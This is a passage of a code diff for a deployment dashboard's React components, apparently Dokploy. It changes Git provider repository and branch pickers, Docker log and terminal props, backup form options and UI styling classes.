@@ -413,7 +400,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name);
}}
>
<span className="truncate">{branch.name}</span>
{branch.name}
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
@@ -177,9 +177,6 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<FormLabel>Github Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -192,14 +189,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
>
<FormControl>
<SelectTrigger>
<SelectValue placeholder="Select a Github Account">
{
githubProviders?.find(
(githubProvider) =>
githubProvider.githubId === field.value,
)?.gitProvider.name
}
</SelectValue>
<SelectValue placeholder="Select a Github Account" />
</SelectTrigger>
</FormControl>
<SelectContent>
@@ -243,7 +233,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between",
"w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -252,19 +242,14 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
: isLoadingRepositories
? "Loading...."
: (repositories?.find(
(repo) =>
repo.name === field.value.repo &&
repo.owner.login === field.value.owner,
)?.name ?? field.value.repo)}
(repo) => repo.name === field.value.repo,
)?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search repository..."
@@ -284,7 +269,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<CommandGroup>
{repositories?.map((repo) => (
<CommandItem
value={`${repo.owner.login}/${repo.name}`}
value={repo.name}
key={repo.url}
onSelect={() => {
form.setValue("repository", {
@@ -294,8 +279,8 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">{repo.name}</span>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.login}
</span>
@@ -303,8 +288,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
repo.name === field.value.repo &&
repo.owner.login === field.value.owner
repo.name === field.value.repo
? "opacity-100"
: "opacity-0",
)}
@@ -336,25 +320,22 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
" w-full justify-between",
" w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
{status === "pending" && fetchStatus === "fetching"
? "Loading...."
: field.value
? (branches?.find(
? branches?.find(
(branch) => branch.name === field.value,
)?.name ?? field.value)
)?.name
: "Select branch"}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search branch..."
@@ -382,7 +363,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name);
}}
>
<span className="truncate">{branch.name}</span>
{branch.name}
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
@@ -196,9 +196,6 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
<FormLabel>Gitlab Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -208,6 +205,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
});
form.setValue("branch", "");
}}
defaultValue={field.value}
value={field.value}
>
<FormControl>
@@ -256,7 +254,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between",
"w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -272,10 +270,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search repository..."
@@ -313,10 +308,8 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">
{repo.name}
</span>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.username}
</span>
@@ -358,7 +351,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
" w-full justify-between",
" w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -373,10 +366,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search branch..."
@@ -404,7 +394,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name);
}}
>
<span className="truncate">{branch.name}</span>
{branch.name}
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
@@ -1,3 +1,4 @@
import { Tooltip as TooltipPrimitive } from "radix-ui";
import {
Ban,
CheckCircle2,
@@ -7,7 +8,6 @@ import {
Terminal,
} from "lucide-react";
import { useRouter } from "next/router";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { toast } from "sonner";
import { ShowBuildChooseForm } from "@/components/dashboard/application/build/show";
import { ShowProviderForm } from "@/components/dashboard/application/general/generic/show";
@@ -271,7 +271,6 @@ export const ShowGeneralApplication = ({ applicationId }: Props) => {
<DockerTerminalModal
appName={data?.appName || ""}
serverId={data?.serverId || ""}
serviceId={applicationId}
>
<Button
variant="outline"
@@ -50,10 +50,9 @@ export const badgeStateColor = (state: string) => {
interface Props {
appName: string;
serverId?: string;
serviceId?: string;
}
export const ShowDockerLogs = ({ appName, serverId, serviceId }: Props) => {
export const ShowDockerLogs = ({ appName, serverId }: Props) => {
const [containerId, setContainerId] = useState<string | undefined>();
const [option, setOption] = useState<"swarm" | "native">("native");
@@ -183,7 +182,6 @@ export const ShowDockerLogs = ({ appName, serverId, serviceId }: Props) => {
serverId={serverId || ""}
containerId={containerId || "select-a-container"}
runType={option}
serviceId={serviceId}
/>
</CardContent>
</Card>
@@ -1,3 +1,4 @@
import { Tooltip as TooltipPrimitive } from "radix-ui";
import {
ExternalLink,
FileText,
@@ -8,7 +9,6 @@ import {
RocketIcon,
Trash2,
} from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { toast } from "sonner";
import { GithubIcon } from "@/components/icons/data-tools-icons";
import { DateTooltip } from "@/components/shared/date-tooltip";
@@ -531,7 +531,7 @@ export const HandleSchedules = ({ id, scheduleId, scheduleType }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between",
"w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -507,20 +507,11 @@ export const HandleVolumeBackups = ({
</SelectTrigger>
</FormControl>
<SelectContent>
{mounts && mounts.length > 0 ? (
mounts.map((mount) => (
<SelectItem
key={mount.Name}
value={mount.Name || ""}
>
{mount.Name}
</SelectItem>
))
) : (
<SelectItem value="none" disabled>
No volumes found
{mounts?.map((mount) => (
<SelectItem key={mount.Name} value={mount.Name || ""}>
{mount.Name}
</SelectItem>
)}
))}
</SelectContent>
</Select>
<FormDescription>
@@ -181,7 +181,7 @@ export const RestoreVolumeBackups = ({ id, type, serverId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between",
"w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -263,7 +263,7 @@ export const RestoreVolumeBackups = ({ id, type, serverId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between",
"w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -6,7 +6,6 @@ import { toast } from "sonner";
import { z } from "zod";
import { AlertBlock } from "@/components/shared/alert-block";
import { CodeEditor } from "@/components/shared/code-editor";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import {
Card,
@@ -112,10 +111,7 @@ export const IsolatedDeploymentTab = ({ composeId }: Props) => {
return (
<Card className="bg-background">
<CardHeader>
<CardTitle className="text-xl flex items-center gap-2">
Enable Isolated Deployment
<Badge variant="yellow">Deprecated</Badge>
</CardTitle>
<CardTitle className="text-xl">Enable Isolated Deployment</CardTitle>
<CardDescription>
Configure isolated deployment to the compose file.
<div className="text-sm text-muted-foreground flex flex-col gap-2">
@@ -142,11 +138,6 @@ export const IsolatedDeploymentTab = ({ composeId }: Props) => {
</CardHeader>
<CardContent>
<div className="space-y-4">
<AlertBlock type="warning">
Isolated deployment is deprecated. Use the Networks section above to
attach networks per service and detach them from dokploy-network —
it is declarative and does not break on restarts.
</AlertBlock>
{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
<Form {...form}>
<form
@@ -55,14 +55,12 @@ interface Props {
appName: string;
serverId?: string;
appType: "stack" | "docker-compose";
serviceId?: string;
}
export const ShowComposeContainers = ({
appName,
appType,
serverId,
serviceId,
}: Props) => {
const { data, isPending, refetch } =
api.docker.getContainersByAppNameMatch.useQuery(
@@ -124,7 +122,6 @@ export const ShowComposeContainers = ({
key={container.containerId}
container={container}
serverId={serverId}
serviceId={serviceId}
onActionComplete={() => refetch()}
/>
))}
@@ -145,14 +142,12 @@ interface ContainerRowProps {
status: string;
};
serverId?: string;
serviceId?: string;
onActionComplete: () => void;
}
const ContainerRow = ({
container,
serverId,
serviceId,
onActionComplete,
}: ContainerRowProps) => {
const [logsOpen, setLogsOpen] = useState(false);
@@ -241,7 +236,6 @@ const ContainerRow = ({
<DockerTerminalModal
containerId={container.containerId}
serverId={serverId || ""}
serviceId={serviceId}
>
Terminal
</DockerTerminalModal>
@@ -286,7 +280,6 @@ const ContainerRow = ({
containerId={container.containerId}
serverId={serverId}
runType="native"
serviceId={serviceId}
/>
</div>
</DialogContent>
@@ -1,6 +1,6 @@
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useRouter } from "next/router";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";
import { Button } from "@/components/ui/button";
@@ -84,19 +84,19 @@ export const ComposeActions = ({ composeId }: Props) => {
)}
{canDeploy && (
<DialogAction
title="Rebuild Compose"
description="Are you sure you want to rebuild this compose?"
title="Reload Compose"
description="Are you sure you want to reload this compose?"
type="default"
onClick={async () => {
await redeploy({
composeId: composeId,
})
.then(() => {
toast.success("Compose rebuilt successfully");
toast.success("Compose reloaded successfully");
refetch();
})
.catch(() => {
toast.error("Error rebuilding compose");
toast.error("Error reloading compose");
});
}}
>
@@ -109,14 +109,12 @@ export const ComposeActions = ({ composeId }: Props) => {
<TooltipTrigger asChild>
<div className="flex items-center">
<RefreshCcw className="size-4 mr-1" />
Rebuild
Reload
</div>
</TooltipTrigger>
<TooltipPrimitive.Portal>
<TooltipContent sideOffset={5} className="z-60">
<p>
Rebuilds the compose without downloading the source code
</p>
<p>Reload the compose without rebuilding it</p>
</TooltipContent>
</TooltipPrimitive.Portal>
</Tooltip>
@@ -208,7 +206,6 @@ export const ComposeActions = ({ composeId }: Props) => {
appName={data?.appName || ""}
serverId={data?.serverId || ""}
appType={data?.composeType || "docker-compose"}
serviceId={data?.composeId}
>
<Button
variant="outline"
@@ -190,9 +190,6 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<FormLabel>Bitbucket Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -201,6 +198,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
});
form.setValue("branch", "");
}}
defaultValue={field.value}
value={field.value}
>
<FormControl>
@@ -249,7 +247,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between",
"w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -258,19 +256,14 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
: isLoadingRepositories
? "Loading...."
: (repositories?.find(
(repo) =>
repo.name === field.value.repo &&
repo.owner.username === field.value.owner,
(repo) => repo.name === field.value.repo,
)?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search repository..."
@@ -290,7 +283,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<CommandGroup>
{repositories?.map((repo) => (
<CommandItem
value={`${repo.owner.username}/${repo.name}`}
value={repo.name}
key={repo.url}
onSelect={() => {
form.setValue("repository", {
@@ -301,8 +294,8 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">{repo.name}</span>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.username}
</span>
@@ -310,8 +303,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
repo.name === field.value.repo &&
repo.owner.username === field.value.owner
repo.name === field.value.repo
? "opacity-100"
: "opacity-0",
)}
@@ -343,7 +335,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
" w-full justify-between",
" w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -358,10 +350,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search branch..."
@@ -389,7 +378,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name);
}}
>
<span className="truncate">{branch.name}</span>
{branch.name}
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
@@ -188,9 +188,6 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
<FormLabel>Gitea Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -198,6 +195,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
});
form.setValue("branch", "");
}}
defaultValue={field.value}
value={field.value}
>
<FormControl>
@@ -246,7 +244,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between",
"w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -255,18 +253,13 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
: isLoadingRepositories
? "Loading...."
: (repositories?.find(
(repo) =>
repo.name === field.value.repo &&
repo.owner.username === field.value.owner,
(repo) => repo.name === field.value.repo,
)?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search repository..."
@@ -287,7 +280,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
{repositories?.map((repo) => (
<CommandItem
key={repo.url}
value={`${repo.owner.username}/${repo.name}`}
value={repo.name}
onSelect={() => {
form.setValue("repository", {
owner: repo.owner.username,
@@ -296,8 +289,8 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">{repo.name}</span>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.username}
</span>
@@ -305,8 +298,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
repo.name === field.value.repo &&
repo.owner.username === field.value.owner
repo.name === field.value.repo
? "opacity-100"
: "opacity-0",
)}
@@ -339,7 +331,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between",
"w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -354,10 +346,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search branches..."
@@ -374,10 +363,8 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name)
}
>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">
{branch.name}
</span>
<span className="flex items-center gap-2">
{branch.name}
</span>
<CheckIcon
className={cn(
@@ -138,7 +138,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
enableSubmodules: data.enableSubmodules ?? false,
});
}
}, [form.reset, data]);
}, [form.reset, data?.composeId, form]);
const onSubmit = async (data: GithubProvider) => {
await mutateAsync({
@@ -179,9 +179,6 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<FormLabel>Github Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -189,6 +186,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
});
form.setValue("branch", "");
}}
defaultValue={field.value}
value={field.value}
>
<FormControl>
@@ -236,7 +234,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between",
"w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -245,19 +243,14 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
: isLoadingRepositories
? "Loading...."
: (repositories?.find(
(repo) =>
repo.name === field.value.repo &&
repo.owner.login === field.value.owner,
)?.name ?? field.value.repo)}
(repo) => repo.name === field.value.repo,
)?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search repository..."
@@ -277,7 +270,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<CommandGroup>
{repositories?.map((repo) => (
<CommandItem
value={`${repo.owner.login}/${repo.name}`}
value={repo.name}
key={repo.url}
onSelect={() => {
form.setValue("repository", {
@@ -287,8 +280,8 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">{repo.name}</span>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.login}
</span>
@@ -296,8 +289,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
repo.name === field.value.repo &&
repo.owner.login === field.value.owner
repo.name === field.value.repo
? "opacity-100"
: "opacity-0",
)}
@@ -329,25 +321,22 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
" w-full justify-between",
" w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
{status === "pending" && fetchStatus === "fetching"
? "Loading...."
: field.value
? (branches?.find(
? branches?.find(
(branch) => branch.name === field.value,
)?.name ?? field.value)
)?.name
: "Select branch"}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search branch..."
@@ -375,7 +364,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name);
}}
>
<span className="truncate">{branch.name}</span>
{branch.name}
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
@@ -199,9 +199,6 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
<FormLabel>Gitlab Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -211,6 +208,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
});
form.setValue("branch", "");
}}
defaultValue={field.value}
value={field.value}
>
<FormControl>
@@ -258,7 +256,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between",
"w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -274,10 +272,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search repository..."
@@ -315,10 +310,8 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">
{repo.name}
</span>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.username}
</span>
@@ -360,7 +353,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
" w-full justify-between",
" w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -375,10 +368,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<PopoverContent className="p-0" align="start">
<Command>
<CommandInput
placeholder="Search branch..."
@@ -406,7 +396,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name);
}}
>
<span className="truncate">{branch.name}</span>
{branch.name}
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
@@ -52,7 +52,7 @@ export const ShowConvertedCompose = ({ composeId }: Props) => {
Preview Compose
</Button>
</DialogTrigger>
<DialogContent className="sm:max-w-6xl max-h-[85vh] flex flex-col">
<DialogContent className="sm:max-w-6xl max-h-200">
<DialogHeader>
<DialogTitle>Converted Compose</DialogTitle>
<DialogDescription>
@@ -62,6 +62,10 @@ export const ShowConvertedCompose = ({ composeId }: Props) => {
</DialogHeader>
{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
<AlertBlock type="info" className="mb-4">
Preview your docker-compose file with added domains. Note: At least
one domain must be specified for this conversion to take effect.
</AlertBlock>
{isPending ? (
<div className="flex flex-row items-center justify-center min-h-100 border p-4 rounded-md">
<Loader2 className="h-8 w-8 text-muted-foreground mb-2 animate-spin" />
@@ -75,7 +79,7 @@ export const ShowConvertedCompose = ({ composeId }: Props) => {
</div>
) : (
<>
<div className="flex flex-row gap-2 justify-end">
<div className="flex flex-row gap-2 justify-end my-4">
<Button
variant="secondary"
isLoading={isPending}
@@ -96,15 +100,14 @@ export const ShowConvertedCompose = ({ composeId }: Props) => {
</Button>
</div>
<div className="flex-1 min-h-0 overflow-auto rounded-md border">
<pre>
<CodeEditor
value={compose || ""}
language="yaml"
readOnly
height="100%"
wrapperClassName="h-full"
height="50rem"
/>
</div>
</pre>
</>
)}
</DialogContent>
@@ -35,14 +35,9 @@ export const DockerLogs = dynamic(
interface Props {
appName: string;
serverId?: string;
serviceId?: string;
}
export const ShowDockerLogsStack = ({
appName,
serverId,
serviceId,
}: Props) => {
export const ShowDockerLogsStack = ({ appName, serverId }: Props) => {
const [option, setOption] = useState<"swarm" | "native">("native");
const [containerId, setContainerId] = useState<string | undefined>();
@@ -172,7 +167,6 @@ export const ShowDockerLogsStack = ({
serverId={serverId || ""}
containerId={containerId || "select-a-container"}
runType={option}
serviceId={serviceId}
/>
</CardContent>
</Card>
@@ -35,14 +35,12 @@ interface Props {
appName: string;
serverId?: string;
appType: "stack" | "docker-compose";
serviceId?: string;
}
export const ShowDockerLogsCompose = ({
appName,
appType,
serverId,
serviceId,
}: Props) => {
const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery(
{
@@ -106,7 +104,6 @@ export const ShowDockerLogsCompose = ({
serverId={serverId || ""}
containerId={containerId || "select-a-container"}
runType="native"
serviceId={serviceId}
/>
</CardContent>
</Card>
@@ -79,7 +79,6 @@ const Schema = z
schedule: z.string().min(1, "Schedule (Cron) required"),
prefix: z.string().min(1, "Prefix required"),
enabled: z.boolean(),
includeEncryptionKey: z.boolean(),
database: z.string().min(1, "Database required"),
keepLatestCount: z.coerce.number().optional(),
serviceName: z.string().nullable(),
@@ -224,7 +223,6 @@ export const HandleBackup = ({
: "",
destinationId: "",
enabled: true,
includeEncryptionKey: true,
prefix: "/",
schedule: "",
keepLatestCount: undefined,
@@ -264,7 +262,6 @@ export const HandleBackup = ({
: "",
destinationId: backup?.destinationId ?? "",
enabled: backup?.enabled ?? true,
includeEncryptionKey: backup?.includeEncryptionKey ?? true,
prefix: backup?.prefix ?? "/",
schedule: backup?.schedule ?? "",
keepLatestCount: backup?.keepLatestCount ?? undefined,
@@ -312,7 +309,6 @@ export const HandleBackup = ({
prefix: data.prefix,
schedule: data.schedule,
enabled: data.enabled,
includeEncryptionKey: data.includeEncryptionKey,
database: data.database,
keepLatestCount: data.keepLatestCount ?? null,
databaseType: data.databaseType || databaseType,
@@ -413,7 +409,7 @@ export const HandleBackup = ({
<Button
variant="outline"
className={cn(
"w-full justify-between",
"w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -669,31 +665,6 @@ export const HandleBackup = ({
</FormItem>
)}
/>
{databaseType === "web-server" && (
<FormField
control={form.control}
name="includeEncryptionKey"
render={({ field }) => (
<FormItem className="flex flex-row items-center justify-between rounded-lg border p-3 ">
<div className="space-y-0.5">
<FormLabel>Include encryption key</FormLabel>
<FormDescription>
Stores the encryption key inside the backup so
environment variables can be restored on a new server.
Anyone with access to the backup file can decrypt
them.
</FormDescription>
</div>
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
</FormItem>
)}
/>
)}
{backupType === "compose" && (
<>
{form.watch("databaseType") === "postgres" && (
@@ -345,7 +345,7 @@ export const RestoreBackup = ({
<Button
variant="outline"
className={cn(
"w-full justify-between",
"w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -427,7 +427,7 @@ export const RestoreBackup = ({
<Button
variant="outline"
className={cn(
"w-full justify-between",
"w-full justify-between bg-input!",
!field.value && "text-muted-foreground",
)}
>
@@ -23,7 +23,6 @@ interface Props {
containerId: string;
serverId?: string | null;
runType: "swarm" | "native";
serviceId?: string;
}
export const priorities = [
@@ -53,7 +52,6 @@ export const DockerLogsId: React.FC<Props> = ({
containerId,
serverId,
runType,
serviceId,
}) => {
const { data } = api.docker.getConfig.useQuery(
{
@@ -159,10 +157,6 @@ export const DockerLogsId: React.FC<Props> = ({
params.append("serverId", serverId);
}
if (serviceId) {
params.append("serviceId", serviceId);
}
const wsUrl = `${protocol}//${
window.location.host
}/docker-container-logs?${params.toString()}`;
@@ -228,7 +222,7 @@ export const DockerLogsId: React.FC<Props> = ({
ws.close();
}
};
}, [containerId, serverId, serviceId, lines, search, since]);
}, [containerId, serverId, lines, search, since]);
const handleDownload = () => {
const logContent = filteredLogs
@@ -1,13 +1,10 @@
import type { ColumnDef } from "@tanstack/react-table";
import copy from "copy-to-clipboard";
import { ArrowUpDown, MoreHorizontal } from "lucide-react";
import { toast } from "sonner";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import {
DropdownMenu,
DropdownMenuContent,
DropdownMenuItem,
DropdownMenuLabel,
DropdownMenuTrigger,
} from "@/components/ui/dropdown-menu";
@@ -40,7 +37,6 @@ export const columns: ColumnDef<Container>[] = [
},
{
accessorKey: "state",
filterFn: "equals",
header: ({ column }) => {
return (
<Button
@@ -60,7 +56,7 @@ export const columns: ColumnDef<Container>[] = [
variant={
value === "running"
? "default"
: value === "exited" || value === "dead"
: value === "failed"
? "destructive"
: "secondary"
}
@@ -103,28 +99,6 @@ export const columns: ColumnDef<Container>[] = [
},
cell: ({ row }) => <div className="lowercase">{row.getValue("image")}</div>,
},
{
accessorKey: "ports",
header: ({ column }) => {
return (
<Button
variant="ghost"
onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
>
Ports
<ArrowUpDown className="ml-2 h-4 w-4" />
</Button>
);
},
cell: ({ row }) => {
const value = row.getValue("ports") as string;
return (
<div className="max-w-[16rem] truncate lowercase" title={value}>
{value}
</div>
);
},
},
{
id: "actions",
enableHiding: false,
@@ -141,14 +115,6 @@ export const columns: ColumnDef<Container>[] = [
</DropdownMenuTrigger>
<DropdownMenuContent align="end">
<DropdownMenuLabel>Actions</DropdownMenuLabel>
<DropdownMenuItem
onClick={() => {
copy(container.containerId);
toast.success("Container ID copied to clipboard");
}}
